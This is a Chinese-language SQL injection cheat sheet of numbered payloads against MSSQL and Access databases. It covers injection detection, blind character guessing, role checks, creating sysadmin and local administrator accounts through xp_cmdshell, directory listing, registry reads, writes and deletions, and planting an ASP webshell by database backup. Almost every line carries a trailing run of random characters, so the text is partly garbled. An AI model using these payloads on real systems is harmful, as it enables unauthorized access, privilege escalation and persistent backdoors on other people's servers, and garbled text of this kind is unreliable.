1.判断是否有注入;and 1=1 ;and 1=2 EVlj#~mV
2.初步判断是否是mssql ;and user>0 vf5q8/a
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3.注入参数是字符'and [查询条件] and ''=' 4mHk,Dd9,
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4.搜索时没过滤参数的'and [查询条件] and '%25'=' \483S]_-z{
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5.判断数据库系统 NkV81?
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;and (select count(*) from sysobjects)>0 mssql 9.%t9RM^
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;and (select count(*) from msysobjects)>0 access b>2{F6F
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6.猜数据库 ;and (select Count(*) from [数据库名])>0 QWc,JCu
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7.猜字段 ;and (select Count(字段名) from 数据库名)>0 *Z$W"JP
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8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 |}? H$d
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9.(1)猜字段的ascii值(access) sW-0G$,|
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;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 K491QXG
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(2)猜字段的ascii值(mssql) ;f~fGsH}e'
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;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 Ld
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10.测试权限结构(mssql) d#OAM;0}5
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;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- f^-ot@w
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;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- riL|B3
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;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- 2!6E~<~HC
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;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- 9Fy'L#%
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;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- {+m8^-T
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;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- a>6D3n
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;and 1=(select IS_MEMBER('db_owner'));-- A%2B3@1'q
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11.添加mssql和系统的帐户 }N}Js*
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;exec master.dbo.sp_addlogin username;-- U)xebU.!S
;exec master.dbo.sp_password null,username,password;-- }hsNsQ
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;exec master.dbo.sp_addsrvrolemember sysadmin username;-- dk^jv +
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;exec master.dbo.xp_cmdshell 'net user username password v6|j.;
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;exec master.dbo.xp_cmdshell 'net user username password /add';-- +HPcvu?1
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;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- Ph%{h"
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12.(1)遍历目录 &XV9_{Hm
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;create table dirs(paths varchar(100), id int) ^r-d.1
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;insert dirs exec master.dbo.xp_dirtree 'c:\' v)T#
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;and (select top 1 paths from dirs)>0 B~^*@5#0|
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;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) 8h0C G]
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(2)遍历目录 78{9@\e"0
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;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- ?Wz2J3A.2t
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 2GORGS%
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;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 ]\KVA)\
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;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 Wlxmp['Bh
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;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 QRvyaV
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13.mssql中的存储过程 \c<;!vkZ04
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xp_regenumvalues 注册表根键, 子键 -yB}(69
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;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 '5Yzo^R;
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xp_regread 根键,子键,键值名 HA8A}d~
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'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 AwXzI;F^
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xp_regwrite 根键,子键, 值名, 值类型, 值 z?<B@\~
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;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 s2"`j-iQ
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xp_regdeletevalue 根键,子键,值名
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exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 e2v`
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xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 #%Bt!#
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14.mssql的backup创建webshell A[uE#T^
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insert into cmd(str) values (''); 3s/1\m%
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backup database model to disk='c:\l.asp'; ~w3u(X$m"
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15.mssql内置函数 ]CF-#q}'
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;and (select @@version)>0 获得Windows的版本号 g5@JA^\vZT
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;and user_name()='dbo' 判断当前系统的连接用户是不是sa @>Yd6C
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;and (select user_name())>0 爆当前系统的连接用户 .*x:
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;and (select db_name())>0 得到当前连接的数据库 9^W7i]-Z
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create table cmd(str image); ):'wxIVGI
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insert into cmd(str) values (''); U;#KFZ+~
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backup database model to disk='g:\wwwtest\l.asp';